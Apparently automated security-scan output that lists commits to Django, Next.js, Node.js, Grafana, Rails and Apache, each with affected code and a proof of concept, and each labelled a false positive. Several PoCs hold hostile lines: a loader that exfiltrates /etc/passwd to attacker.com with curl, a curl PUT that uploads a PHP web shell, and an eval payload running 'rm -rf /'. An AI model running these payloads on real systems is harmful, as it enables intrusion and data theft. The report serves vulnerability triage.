# If Fiber A holds share under Thread-1, Fiber B on same Thread-1 sees itself as already sharing
# and can bypass the wait, acquiring exclusive lock while Fiber A still runs
# Result: ActiveSupport::Dependencies.clear called mid-request => NoMethodError on cleared constants
#
# Fiber.new { interlock.running { sleep 1; MyModel.find(1) } }.resume  # Fiber A
# Fiber.new { interlock.unload { } }.resume  # Fiber B - clears constants while Fiber A runs

⚠️ MEDIUM FALSE POSITIVE Privilege Escalation / Unauthorized Action Execution

Commit: 8fd29079ed1253f0cd88ccf330de30271a5d15e4

Author: Sarah Boyce

In the Django admin change form view, a POST request (e.g., running an action) only required `has_change_permission`, but actions can be configured to require only view permission. Before the patch, a user with only view permission could not run view-only actions from the change form, while a user with change permission was allowed. More critically, the permission check order meant that when running actions from the change form (which goes through `_changeform_view`), the code checked `has_change_permission` for all POST requests before the action handler ran, blocking legitimate view-permission actions. The patch restructures this so `has_view_or_change_permission` is checked first (allowing view-only users to see and run view-permitted actions), and `has_change_permission` is only checked after actions have been processed - preventing users from bypassing the change permission check when submitting the actual form save.

🔍 View Affected Code & PoC

Affected Code

if request.method == "POST":
    if not self.has_change_permission(request, obj):
        raise PermissionDenied
else:
    if not self.has_view_or_change_permission(request, obj):
        raise PermissionDenied

Proof of Concept

1. Create a user with only 'view_externalsubscriber' permission (no change permission).
2. POST to /admin/admin_views/externalsubscriber/<pk>/change/ with data: {ACTION_CHECKBOX_NAME: [pk], 'CHANGE_FORM-action': 'external_mail'}
3. Before patch: The request raises PermissionDenied because has_change_permission returns False for view-only users on POST requests, even though the action only requires view permission.
4. After patch: The action executes successfully because has_view_or_change_permission passes, and has_change_permission is only checked after actions are processed (not for action submissions).

⚠️ MEDIUM FALSE POSITIVE Cache Poisoning / Information Disclosure

Commit: 085311e3b629f43ebb84b50b726a2a304fb94a23

Author: Hendrik Liebau

When both `cachedNavigations` and `varyParams` features are enabled in Next.js, a `&lt;Link prefetch={true}&gt;` for a dynamic route with fallback params could cause a Full prefetch response to be re-keyed under a generic 'Fallback' vary path (because varyParams tracking is incomplete for Full prefetches). A subsequent request for a different param value would then collide with that cache entry and receive the previously prefetched page's content, leaking param-specific content across different users/requests. The patch fixes this by skipping the re-keying step for Full prefetches, keeping entries pinned to their concrete vary path.

🔍 View Affected Code & PoC

Affected Code

if (process.env.__NEXT_VARY_PARAMS && segmentVaryParams !== null) {
  const fulfilledVaryPath = getFulfilledSegmentVaryPath(
    tree.varyPath,
    segmentVaryParams
  )
  // ... sets cache entry under generic fallback path
}

Proof of Concept

1. Enable cachedNavigations and varyParams features in Next.js app
2. Have a dynamic route /product/[slug] with fallback params
3. User A visits a page with a <Link href='/product/foo' prefetch={true}> link that enters the viewport, triggering a Full prefetch of /product/foo
4. The server returns incomplete varyParams (empty set) because dynamic stage params aren't tracked
5. Client re-keys the cache entry to a generic path with <Fallback> replacing the slug param
6. User B (or same user) navigates to /product/bar - the cache lookup collides with the <Fallback> keyed entry from step 5
7. User B sees /product/foo's content (param: foo) instead of /product/bar's content (param: bar) - cross-param content leak

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: e0200f2d73ae0f112c32ff55ae4ab8af18106b5f

Author: Matteo Collina

Before the patch, `ObjectAssign(input || {}, options)` would merge options into the `input` object directly, and the resulting object retained its prototype chain. If a property like `hostname` was defined on `Object.prototype` by an attacker (prototype pollution), it could be read during the options merge/processing, potentially influencing HTTP request behavior such as redirecting requests to an attacker-controlled host. The fix uses `ObjectAssign({ __proto__: null }, input, options)` to create a null-prototype object, preventing prototype chain lookups from polluting the options object.

🔍 View Affected Code & PoC

Affected Code

options = ObjectAssign(input || {}, options);

Proof of Concept

// Attacker pollutes Object.prototype with a malicious hostname
Object.prototype.hostname = 'evil.attacker.com';

// Now any http.request() call that goes through the else branch
// (i.e., when both input URL and options are provided) will pick up
// the polluted hostname if not explicitly set
const http = require('http');
http.request({ port: 80 }, (res) => {
  // Request goes to evil.attacker.com:80 instead of intended host
  console.log('Connected to:', res.socket.remoteAddress);
}).end();
// Before the patch, options.hostname resolves to 'evil.attacker.com'
// via prototype chain since input object inherits from Object.prototype

⚠️ MEDIUM FALSE POSITIVE Credential Exposure / Information Disclosure

Commit: f2d8737c86f9bbae018865a6db8e9f4730b672b1

Author: Alex Khomenko

Before this patch, Grafana's provisioning feature allowed users to save repository URLs containing embedded credentials (e.g., `https://user:[email protected]/owner/repo`). Since the URL field is not treated as a secret and is returned verbatim by the settings API, any authenticated user (including low-privilege Viewers) could read the credentials by querying the provisioning settings endpoint. The patch adds frontend validation that detects and blocks URLs with userinfo components (username/password) before they can be saved.

🔍 View Affected Code & PoC

Affected Code

url: {
  label: t('provisioning.shared.url-label', 'Repository URL'),
  validation: {
    pattern: {
      value: /^https:\/\/[^\/]+\/[^\/]+\/[^\/]+\/?$/,
      message: t('provisioning.shared.url-pattern', 'Must be a valid repository URL (https://hostname/owner/repo)'),
    },
  },
},

Proof of Concept

1. As an admin, configure a provisioning repository with URL: https://user:[email protected]/owner/repo
2. Save the configuration (no validation prevents this before the patch)
3. As any authenticated Viewer, call GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/<name>
4. The response includes the full URL verbatim: {"spec":{"github":{"url":"https://user:[email protected]/owner/repo",...}}}
5. The token ghp_secrettoken123 is now exposed to all authenticated users, while secure.token would have been redacted

⚠️ MEDIUM FALSE POSITIVE Integer Underflow / Slice Bounds Panic (Denial of Service)

Commit: baa428a6b4bf471301079df6ea43a44536ba3036

Author: Misi

Before the patch, the `/teams/{name}/members` handler parsed `offset` and `page` query parameters but did not clamp them to non-negative values. A negative `offset` value would cause a negative slice index when slicing `t.Spec.Members\[offset:end\]`, triggering a Go runtime panic and crashing the handler (or the server process, depending on recovery middleware). The patch adds explicit clamping of `offset` to `\[0, total\]` before slicing.

🔍 View Affected Code & PoC

Affected Code

window := t.Spec.Members[offset:end]  // offset can be negative from ?offset=-1

Proof of Concept

GET /apis/iam.grafana.app/v0alpha1/namespaces/default/teams/myteam/members?offset=-1

This sends a negative offset to the handler. Before the patch, `offset` would be -1, `end` would be (-1 + limit), and the slice expression `t.Spec.Members[-1:end]` would cause a Go runtime panic: 'runtime error: slice bounds out of range [-1:]', crashing the request handler.

⚠️ MEDIUM FALSE POSITIVE Null Pointer Dereference / Server Crash

Commit: eecbbca65f3fd09cf0c1aee763bc26b46a46380e

Author: Eric Covener

In mod_authn_socache.c, the `construct_key` function called `strrchr(r-&gt;uri, '/')` without checking if the result was NULL before using it in pointer arithmetic. If `r-&gt;uri` contained no '/' character (an unusual but possible condition), `slash` would be NULL and the expression `slash - r-&gt;uri` would cause undefined behavior/crash. The patch moves the slash computation earlier and adds a NULL check (`&& slash`) before entering the branch that uses it.

🔍 View Affected Code & PoC

Affected Code

if (!strcmp(context, directory)) {
    /* FIXME: are we at risk of this blowing up? */
    char *new_context;
    char *slash = strrchr(r->uri, '/');
    new_context = apr_palloc(r->pool, slash - r->uri +

Proof of Concept

Send a crafted HTTP request where r->uri contains no '/' character. In Apache's normal operation r->uri always starts with '/', but via certain internal redirect or sub-request mechanisms, or a crafted request, a URI without '/' could be constructed. When the authn_socache module processes authentication for a directory context with such a URI, slash==NULL, and `slash - r->uri` dereferences NULL causing a server crash (DoS). Example: configure AuthnCacheContext directory, then trigger an internal sub-request with a URI like 'nodirectoryslash' to crash the child process.

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: 21436f04057b62b4ad7b3704dad73898c681cd1e

Author: Matteo Collina

Before the patch, `req.headers` and `req.trailers` in Node.js HTTP/HTTP2 IncomingMessage were plain objects (`{}`) with `Object.prototype` as their prototype. This allowed an attacker to send HTTP headers named `__proto__`, `constructor`, or `toString` that could pollute the prototype chain or shadow built-in properties when the headers object was used in certain ways. The patch fixes this by creating the headers object with a null prototype (`{ __proto__: null }`), preventing any prototype chain manipulation.

🔍 View Affected Code & PoC

Affected Code

if (!this[kHeaders]) {
  this[kHeaders] = {};

  const src = this.rawHeaders;
  const dst = this[kHeaders];

Proof of Concept

// Attacker sends HTTP request with __proto__ header:
// GET / HTTP/1.1\r\nHost: victim\r\n__proto__: polluted\r\n\r\n
//
// Server-side code that may be vulnerable:
const http = require('http');
http.createServer((req, res) => {
  // Before patch: req.headers has Object.prototype
  // A header named '__proto__' could be interpreted as prototype manipulation
  // depending on how the object is used downstream
  const headers = req.headers;
  // If code does: Object.assign(target, req.headers)
  // or: for (let k in req.headers) target[k] = req.headers[k]
  // the __proto__ key could pollute target's prototype
  const target = {};
  Object.assign(target, headers); // __proto__ assignment pollutes Object.prototype
  console.log(({}).polluted); // could output attacker-controlled value
  res.end();
}).listen(8080);

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: 800f5828dce64a16e2255315a0c29ea71c25d044

Author: Jonathan Lopes

The `nidOnlyKeyPairs` object in Node.js crypto's `generateKeyPair` was created as a regular object without a null prototype, allowing inherited properties from `Object.prototype` (like `toString`, `constructor`, `hasOwnProperty`, etc.) to be used as valid key type names. By passing a type name like `'toString'` or `'constructor'`, an attacker could bypass the intended key type validation and potentially trigger unexpected behavior in the NID-based key pair generation. The patch fixes this by setting `'__proto__': null` on the object, removing inherited properties from the lookup table.

🔍 View Affected Code & PoC

Affected Code

const nidOnlyKeyPairs = {
  'ed25519': EVP_PKEY_ED25519,
  'ed448': EVP_PKEY_ED448,
  'x25519': EVP_PKEY_X25519,

Proof of Concept

const { generateKeyPairSync } = require('crypto');
// Before the patch, 'toString' would be found in nidOnlyKeyPairs via prototype
// inheritance, causing NidKeyPairGenJob to be called with undefined NID value
// instead of throwing ERR_INVALID_ARG_VALUE
try {
  generateKeyPairSync('toString', {});
  console.log('No error thrown - vulnerability confirmed');
} catch (e) {
  console.log('Error:', e.code); // Should be ERR_INVALID_ARG_VALUE but before patch may be different
}

⚠️ MEDIUM FALSE POSITIVE Server Error / Information disclosure via unhandled exception (HTTP 500 instead of 400)

Commit: dc467fdc3b5744cec71fab876c23a14013e2510b

Author: Dinesh

Before the patch, a maliciously crafted Content-Type header containing an RFC 2231 encoded parameter with an invalid encoding name (e.g., `charset*=BOGUSencoding''value`) would cause an unhandled LookupError in parse_header_parameters(), resulting in an HTTP 500 Internal Server Error instead of a proper HTTP 400 Bad Request. This crash could expose stack traces (if DEBUG=True) or indicate internal implementation details, and could be used for denial-of-service by causing unhandled exceptions in request parsing. The fix wraps the unquote call in a try/except to raise ValueError, which is then caught and re-raised as BadRequest (HTTP 400).

🔍 View Affected Code & PoC

Affected Code

if has_encoding:
    encoding, lang, value = value.split("'")
    value = unquote(value, encoding=encoding)

Proof of Concept

Send an HTTP request with the following Content-Type header:

GET / HTTP/1.1
Host: example.com
Content-Type: text/plain; charset*=BOGUSencoding''%20

Before the patch, Django would raise an unhandled LookupError (unknown encoding: BOGUSencoding), resulting in HTTP 500. In DEBUG mode, this leaks a full stack trace. Script:

import requests
r = requests.get('http://localhost:8000/', headers={'Content-Type': "text/plain; charset*=BOGUSencoding''%20"})
print(r.status_code)  # 500 before patch, 400 after patch

🔥 HIGH FALSE POSITIVE Credentials Transmitted Over Unencrypted Channel

Commit: ed46c962f394834b533faf6dea724e757e8da43f

Author: Robert Clarke

Before this patch, the `basicAuth` struct's `RequireTransportSecurity()` method always returned `true`, which should have prevented basic auth credentials from being sent over non-TLS (insecure) gRPC connections. However, this hardcoded `true` value actually caused a conflict: when connecting to a non-TLS endpoint (using `insecure.NewCredentials()`), gRPC would reject the connection because the per-RPC credentials demanded transport security but none was configured. The fix makes `requireTransportSecurity` match the actual TLS state (`secure` variable). The real security concern is the inverse scenario: if an attacker or misconfiguration causes basic auth credentials to be transmitted over a plaintext gRPC connection, the credentials (username/password encoded in Base64) would be exposed in transit.

🔍 View Affected Code & PoC

Affected Code

func (c *basicAuth) RequireTransportSecurity() bool {
	return true
}

Proof of Concept

Configure a Tempo datasource in Grafana with basic auth enabled and a non-TLS gRPC URL (e.g., grpc://tempo-host:9095). With RequireTransportSecurity() hardcoded to true, gRPC rejects the connection entirely. After the fix with requireTransportSecurity=false for non-TLS, the connection succeeds but credentials flow over plaintext. An attacker on the network path can capture the gRPC stream and decode the Authorization header: `echo 'dXNlcjpwYXNzd29yZA==' | base64 -d` => `user:password`, extracting the Tempo datasource credentials.

🔥 HIGH FALSE POSITIVE Improper Access Control / Authentication Bypass

Commit: e8b5fdc083f38f0395c992e9e9c6a4749674acc5

Author: Rich Bowen

The original example configuration had 'Require all granted' at the Directory level, which grants unauthenticated access to all users by default. The LimitExcept block only required authentication for non-GET/POST/OPTIONS methods, but the outer 'Require all granted' could override authentication requirements depending on configuration context. The patch removes 'Require all granted' and replaces the LimitExcept approach with a RequireAny block that properly requires either the correct HTTP method OR an authenticated admin user, ensuring write operations require authentication.

🔍 View Affected Code & PoC

Affected Code

&lt;Directory "/usr/local/apache2/htdocs/foo"&gt;
    Require all granted
    Dav On
    ...
    &lt;LimitExcept GET POST OPTIONS&gt;
        Require user admin
    &lt;/LimitExcept&gt;

Proof of Concept

With the old config, an unauthenticated user could perform WebDAV write operations: `curl -X PUT http://example.com/foo/malicious.php -d '<?php system($_GET["cmd"]); ?>'` - The 'Require all granted' directive grants access to all users, and depending on Apache's authorization merging behavior, could allow unauthenticated PUT/DELETE/MKCOL requests to modify server files, potentially leading to remote code execution.

🔥 HIGH FALSE POSITIVE Authentication Bypass

Commit: f1b77b82db5b8f4a0a10db5fb013b39869db464d

Author: colin-stuart

The code allowed SAML authentication to create duplicate user_auth records for SCIM-provisioned users instead of updating existing ones. An attacker could exploit this by logging in via SAML with a SCIM user's credentials to create a new auth record with their own AuthID, potentially bypassing access controls or creating authentication confusion.

🔍 View Affected Code & PoC

Affected Code

if identity.AuthenticatedBy == login.GenericOAuthModule {
    query := &login.GetAuthInfoQuery{AuthModule: identity.AuthenticatedBy, UserId: usr.ID}
    userAuth, err = s.authInfoService.GetAuthInfo(ctx, query)

Proof of Concept

1. SCIM provisions user with email '[email protected]' and creates user_auth record with empty AuthID
2. Attacker performs SAML login with same email '[email protected]' but different AuthID 'attacker-saml-id' 
3. Code fails to find existing auth record by AuthID lookup, creates new user_auth record instead of updating existing one
4. Result: User now has two authentication methods - original SCIM provision + attacker's SAML AuthID, allowing potential unauthorized access

⚠️ MEDIUM FALSE POSITIVE Man-in-the-Middle Attack / Insufficient Certificate Validation

Commit: f13db6553c2037967bd87e215e1a12d38b8fe211

Author: Maksym Revutskyi

The code before the patch used HTTP transport without proper TLS certificate validation when communicating with external image renderer services. This allowed attackers to intercept HTTPS communications through man-in-the-middle attacks, potentially exposing authentication tokens and sensitive data. The patch adds support for custom CA certificates to enable proper certificate validation.

🔍 View Affected Code & PoC

Affected Code

var netTransport = &http.Transport{
	Proxy: http.ProxyFromEnvironment,
	Dial: (&net.Dialer{
		Timeout: 30 * time.Second,
	}).Dial,
	TLSHandshakeTimeout: 5 * time.Second,
}

Proof of Concept

1. Set up a malicious proxy/MITM tool like mitmproxy with a self-signed certificate
2. Configure network to route Grafana's image renderer traffic through the proxy
3. The original code would accept any certificate without validation, allowing interception of requests containing X-Auth-Token headers
4. Command: `mitmproxy -p 8080 --certs *=cert.pem` then configure Grafana to use renderer at https://malicious-renderer:8081 - the auth tokens would be captured in plaintext

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 508662256608a0efe9221d801c894e8bbe126145

Author: Jean Boussier

The custom inspect methods in various Rails classes exposed sensitive internal state including cryptographic keys, secrets, and other confidential data in debug output, logs, and error messages. The patch replaces custom inspect methods with a standardized approach that only shows safe instance variables, preventing accidental leakage of sensitive information.

🔍 View Affected Code & PoC

Affected Code

def inspect # :nodoc:
  "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end

Proof of Concept

# In a Rails console or debug session:
encryptor = ActiveSupport::MessageEncryptor.new(SecretKey.new)
encryptor.inspect
# Before patch: Would expose the secret key in the output
# After patch: Only shows class name and object ID

# Or in ActionCable connection:
connection = ActionCable::Connection::Base.new(server, env)
connection.inspect
# Before patch: Could expose connection secrets, tokens, or session data
# After patch: Only shows safe, filtered instance variables

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 4c0776608a2e8048093c80de192de4f446c4d1fa

Author: Mark Bastawros

The custom inspect methods in various Rails classes could potentially expose sensitive internal state or configuration data through debug output, error messages, or logs. The patch replaces these with a controlled inspection mechanism that only shows explicitly whitelisted instance variables.

🔍 View Affected Code & PoC

Affected Code

def inspect # :nodoc:
  "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end

Proof of Concept

# In a Rails console or error handler:
connection = ActionCable::Connection::Base.new(server, env)
connection.instance_variable_set(:@secret_token, 'sensitive_data')
puts connection.inspect
# Before patch: Could expose @secret_token and other internals
# After patch: Only shows basic object info without sensitive variables

⚠️ MEDIUM FALSE POSITIVE Race Condition

Commit: 45a8a82db5f701546300fc7478ccbe8776350dc0

Author: Tobias Koppers

The code had a concurrency bug where the follower's aggregation number was read without proper locking, allowing the inner-vs-follower classification decision to be made on stale data if the aggregation number changed concurrently. This could lead to incorrect task classification and potential data corruption in the aggregation system.

🔍 View Affected Code & PoC

Affected Code

let follower_aggregation_number = get_aggregation_number(&follower);
let should_be_follower = follower_aggregation_number < upper_aggregation_number;

Proof of Concept

Thread 1 reads follower's aggregation number (e.g., 10) and determines it should be a follower. Thread 2 concurrently updates the same follower's aggregation number to a higher value (e.g., 20). Thread 1 proceeds with the stale classification decision, incorrectly treating a node that should be an inner node as a follower, leading to incorrect aggregation graph structure and potential data corruption.

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 632725b0ad714043737b28e0d7b4a5ee6b2fa9ec

Author: Sebastian "Sebbie" Silbermann

The script accepts user-provided file paths without validation and directly converts them to file URLs, allowing attackers to access arbitrary files on the system. The patch adds proper path handling using pathToFileURL() which normalizes paths and prevents directory traversal attacks.

🔍 View Affected Code & PoC

Affected Code

if (version !== null && version.startsWith('/')) {
    version = pathToFileURL(version).href
}

Proof of Concept

pnpm run sync-react --version "../../../etc/passwd" would allow reading system files outside the intended React checkout directory before the patch

⚠️ MEDIUM FALSE POSITIVE Cross-Site Scripting (XSS)

Commit: 283ea9e9e014adf0013c18700c36b98efa2f0aac

Author: SiHyunLee

The Django admin interface was vulnerable to XSS attacks when displaying model string representations that contained only whitespace or malicious scripts. The vulnerability occurred because whitespace-only strings were not properly sanitized before being rendered in HTML contexts, allowing attackers to inject malicious scripts through model __str__ methods.

🔍 View Affected Code & PoC

Affected Code

obj_repr = format_html('<a href="{}">{}</a>', urlquote(obj_url), obj)
# Direct use of obj without sanitization

Proof of Concept

Create a Django model with a __str__ method that returns '<script>alert("XSS")</script>' or just whitespace followed by script tags. When viewing this object in the Django admin interface, the malicious script would execute in the browser due to improper escaping of the object representation in admin templates and breadcrumbs.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: 430abe78becc1996d2327e06d449aaad0ca80bc1

Author: Georges Chaudy

The old authorization system used deprecated Compile method which performed authorization checks item-by-item during iteration, potentially allowing unauthorized access to resources due to race conditions or incomplete authorization state. The patch replaces this with FilterAuthorized using BatchCheck which performs more robust batch authorization before returning results.

🔍 View Affected Code & PoC

Affected Code

checker, _, err := s.access.Compile(ctx, user, claims.ListRequest{
	Group: key.Group,
	Resource: key.Resource,
	Namespace: key.Namespace,
	Verb: utils.VerbGet,
})

Proof of Concept

1. User with limited permissions makes concurrent List requests for resources they shouldn't access
2. During the item-by-item authorization check in the old code, if authorization state changes between checks or there's a race condition, some unauthorized items could pass through the checker
3. Attacker could potentially access resources in folders/namespaces they don't have permissions for by exploiting timing windows in the deprecated Compile authorization flow

⚠️ MEDIUM FALSE POSITIVE Prototype Pollution

Commit: f247ebaf44317ac6648b62f99ceaed1e4fc4dc01

Author: Tim Neutkens

The original code used JSON.parse with a reviver function that could potentially allow __proto__ property manipulation during RSC payload deserialization. The patch explicitly deletes __proto__ keys during the walking phase and moves away from the reviver approach to prevent prototype pollution attacks.

🔍 View Affected Code & PoC

Affected Code

return JSON.parse(json, response._fromJSON);
// where _fromJSON reviver processes all key-value pairs including __proto__

Proof of Concept

Send RSC payload with malicious JSON: {"__proto__": {"polluted": true, "isAdmin": true}} - this could pollute Object.prototype during the reviver processing before parseModelString filters are applied, potentially affecting application logic that checks object properties.

⚠️ MEDIUM FALSE POSITIVE Race Condition

Commit: b0d812f414a22201e95d9646894dc5563f729ed4

Author: Rafael Bortolon Paulovic

The code had a race condition vulnerability during database migrations where concurrent writes to legacy tables could occur during unified storage migrations in rolling upgrade scenarios. This could lead to data corruption or inconsistent state as multiple processes could simultaneously modify the same database tables without proper synchronization.

🔍 View Affected Code & PoC

Affected Code

Resources: []migrations.ResourceInfo{
	{GroupResource: folderGR, LockTable: "folder"},
	{GroupResource: dashboardGR, LockTable: "dashboard"},
}

Proof of Concept

During a rolling upgrade, start a unified storage migration for dashboards while simultaneously having another Grafana instance write to the dashboard table. The race condition occurs when: 1) Migration process reads dashboard data from legacy tables, 2) Another instance modifies the same dashboard record, 3) Migration process writes to unified storage based on stale data, resulting in data loss or corruption of the dashboard modifications made in step 2.

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: ba0f62a8dad160e0fdb2d7993fcb6c6d194f1d22

Author: beejeebus

The code exposed encrypted datasource secrets even when they were empty, potentially leaking secret metadata or encrypted empty values to unauthorized users. The patch fixes this by filtering out empty secrets before returning them in API responses.

🔍 View Affected Code & PoC

Affected Code

return q.converter.AsDataSource(ds)

Proof of Concept

GET /api/datasources/{uid} - An attacker with read access could retrieve a datasource configuration and see references to all configured secret fields (even empty ones) in the SecureJsonData map, potentially revealing what secret fields are configured and their encrypted empty values, which could aid in further attacks or reveal system configuration details.

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 193f6f1a50938d9fd91636dadaf00274989e5a58

Author: Costa Alexoglou

The script used relative paths without proper directory resolution, allowing an attacker to execute the script from a different working directory and cause certificates to be written to unintended locations. This could lead to certificate files being created in arbitrary directories or overwriting existing files.

🔍 View Affected Code & PoC

Affected Code

rm -rf data/grafana-aggregator
mkdir -p data/grafana-aggregator
openssl req -nodes -new -x509 -keyout data/grafana-aggregator/ca.key

Proof of Concept

cd /tmp && /path/to/grafana/hack/make-aggregator-pki.sh - This would create certificates in /tmp/data/grafana-aggregator/ instead of the intended repo location, potentially overwriting files or bypassing access controls in the /tmp directory.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: aac8061faaff75f917338a326eaf8c3ce5d38342

Author: Tania

The code was performing namespace validation for all provider types, but the static provider (which serves local configuration) should not enforce namespace restrictions. This created an authorization bypass where users could access feature flags from other organizations by using the static provider endpoint with mismatched namespaces.

🔍 View Affected Code & PoC

Affected Code

valid, ns := b.validateNamespace(r)
if !valid {
	http.Error(w, namespaceMismatchMsg, http.StatusUnauthorized)
	return
}

Proof of Concept

An attacker authenticated to org-1 could access feature flags intended for org-2 by making requests to the static provider endpoints (when providerType is not FeaturesServiceProviderType or OFREPProviderType) with org-2's namespace in the URL path, bypassing the namespace validation that should prevent cross-organization access.

⚠️ MEDIUM FALSE POSITIVE State Modification via Dry-Run Bypass

Commit: ccaf8685b47b1a291ed0b1945be83f1e8324d977

Author: Igor Suleymanov

The dual-writer storage system was not properly handling dry-run operations, allowing state modifications and side effects (like permission changes) to occur when they should only validate without making changes. This violates the dry-run contract where operations must be read-only.

🔍 View Affected Code & PoC

Affected Code

// Before patch - no dry-run check in Create method
func (d *dualWriter) Create(ctx context.Context, in runtime.Object, createValidation rest.ValidateObjectFunc, options *metav1.CreateOptions) (runtime.Object, error) {
    // ... proceeds to modify both legacy and unified storage even during dry-run

Proof of Concept

POST /api/v1/folders
Content-Type: application/json
Dry-Run: All

{"metadata":{"name":"test-folder"},"spec":{"title":"Test Folder"}}

# Before patch: This would create actual folder and modify permissions despite dry-run flag
# After patch: This only validates without side effects

🔥 HIGH FALSE POSITIVE Code Injection

Commit: 4d867af6c5d4b47b240ae4050265eb806f36e61e

Author: Shelley Vohr

The code used eval() to parse configuration data, which allows arbitrary Python code execution if an attacker can control the node_builtin_shareable_builtins configuration value. The patch replaces eval() with json.loads() to safely parse JSON data.

🔍 View Affected Code & PoC

Affected Code

eval(config['node_builtin_shareable_builtins'])

Proof of Concept

An attacker could set node_builtin_shareable_builtins to '__import__("os").system("rm -rf /")' which would execute arbitrary shell commands when eval() processes it during the build configuration generation.

⚠️ MEDIUM FALSE POSITIVE Query Injection

Commit: 9be63b169b8e9f07a8b05df5d9b901a06ec611a3

Author: Steve Simpson

The code added validation for alert label matchers to prevent query injection in LogQL queries. Before the patch, malicious label names or matcher types could be injected into the LogQL query string without proper validation, potentially allowing attackers to manipulate the query structure.

🔍 View Affected Code & PoC

Affected Code

logql += fmt.Sprintf(` | alert_labels_%s %s %q`, matcher.Label, matcher.Type, matcher.Value)

Proof of Concept

POST request with Labels: [{"Type": "| json | drop", "Label": "severity", "Value": "critical"}] or Labels: [{"Type": "=", "Label": "test\" = \"injected\"", "Value": "value"}] to inject arbitrary LogQL operators and manipulate the query structure

⚠️ MEDIUM FALSE POSITIVE Resource Deletion Bypass

Commit: 3f6518806f8c58f91e8a1f6756deb42d1b09d22a

Author: Daniele Stefano Ferru

The code allowed updating Repository resources to remove all finalizers, which would cause immediate deletion without proper cleanup when the resource is later deleted. This bypasses the intended cleanup workflow and could lead to orphaned resources or incomplete cleanup operations.

🔍 View Affected Code & PoC

Affected Code

if len(r.Finalizers) == 0 && a.GetOperation() == admission.Create {
    r.Finalizers = []string{
        RemoveOrphanResourcesFinalizer,
        CleanFinalizer,
    }
}

Proof of Concept

1. Create a Repository resource (finalizers are added automatically)
2. Update the Repository with an empty finalizers array: `kubectl patch repository myrepo --type='merge' -p='{"metadata":{"finalizers":[]}}'`
3. Delete the Repository: `kubectl delete repository myrepo`
4. The resource is immediately deleted without cleanup, bypassing the controller's cleanup logic and potentially leaving orphaned resources

⚠️ MEDIUM FALSE POSITIVE Data Integrity Violation

Commit: 97cda8c49a2ffb5eea15a80ec99ada41c2b0df36

Author: Jean Boussier

The vulnerability allows silent data corruption where regular columns can be incorrectly deduplicated with virtual columns, causing INSERT and UPDATE statements to exclude legitimate columns and store NULL values instead of the intended data. This occurs when the deduplication registry encounters a virtual column first, then treats a regular column with the same name and type as identical.

🔍 View Affected Code & PoC

Affected Code

def ==(other)
  other.is_a?(Column) &&
    super &&
    auto_increment? == other.auto_increment?
end

Proof of Concept

1. Create a table with a virtual column named 'status'
2. Access the virtual column to register it in deduplication cache
3. Create another table with a regular column named 'status' 
4. Attempt to insert data: User.create!(status: 'active')
5. The status field will be NULL in database instead of 'active' because the regular column was deduplicated to the virtual column and excluded from the INSERT statement

⚠️ MEDIUM FALSE POSITIVE Data Integrity Violation

Commit: 1a4305dfd0ba24e8d7b2fe17dfc8b60818437468

Author: Joshua Huber

The Deduplicable module incorrectly treated virtual (generated) columns and regular columns as identical when they had the same name and type, causing regular columns to be silently excluded from INSERT/UPDATE operations. This resulted in NULL values being stored instead of the intended data, leading to silent data corruption.

🔍 View Affected Code & PoC

Affected Code

def ==(other)
  other.is_a?(Column) &&
    super &&
    auto_increment? == other.auto_increment?
end

Proof of Concept

1. Create a table with a virtual column named 'name'
2. Create another table with a regular column named 'name' of same type
3. Access virtual column first to register it in deduplication cache
4. Attempt INSERT on regular table: MyModel.create!(name: 'test_data')
5. The 'name' field will be NULL in database instead of 'test_data' due to column deduplication treating regular column as virtual

💣 CRITICAL FALSE POSITIVE Code Injection

Commit: 740d55cdcefe5e62a2e0f6d65cd543d4b24423cc

Author: Tobias Koppers

The feature allows arbitrary webpack loader execution through import attributes without proper validation or sandboxing. An attacker can specify malicious loader code that gets executed during the build process, potentially leading to remote code execution on the build server.

🔍 View Affected Code & PoC

Affected Code

import value from '../data.js' with { turbopackLoader: 'malicious-loader', turbopackLoaderOptions: '{"cmd":"rm -rf /"}' }

Proof of Concept

Create a malicious loader at node_modules/malicious-loader/index.js:
`​`​`​js
module.exports = function(source) {
  const { exec } = require('child_process');
  exec('curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/exfil');
  return source;
}
`​`​`​
Then use: `import data from './file.txt' with { turbopackLoader: 'malicious-loader' }` to execute arbitrary commands during build time.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: 74d146aa370c1cbaf1a9e701389c0bc0d55e4794

Author: Mihai Turdean

The MT IAM API server was using a no-op storage backend for RoleBindings, which silently dropped all write operations and returned empty results for reads. Additionally, the authorizer denied all access to rolebindings. This created an authorization bypass where RBAC role bindings were completely non-functional, potentially allowing unauthorized access or preventing proper access controls from being enforced.

🔍 View Affected Code & PoC

Affected Code

roleBindingsStorage: noopstorage.ProvideStorageBackend(), // TODO: add a proper storage backend
...
return authorizer.DecisionDeny, "access denied", nil

Proof of Concept

POST /apis/iam.grafana.app/v0alpha1/rolebindings with body: {"apiVersion":"iam.grafana.app/v0alpha1","kind":"RoleBinding","metadata":{"name":"admin-binding"},"subjects":[{"kind":"User","name":"attacker"}],"roleRef":{"kind":"Role","name":"admin"}} - This request would be silently dropped by noopstorage, never creating the intended role binding, while appearing to succeed to the caller.

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 14ee584465b427a1419e4fb21555a5be42fffa22

Author: Tom Ratcliffe

The code previously only allowed admin users to see team folder owners, but the patch changes this to allow any user with 'teams:read' permission to see folder owners. This creates an information disclosure vulnerability where users with lower privileges can access team ownership information they shouldn't be able to see.

🔍 View Affected Code & PoC

Affected Code

const isAdmin = contextSrv.hasRole('Admin') || contextSrv.isGrafanaAdmin;
{isAdmin && config.featureToggles.teamFolders && folderDTO && 'ownerReferences' in folderDTO && (
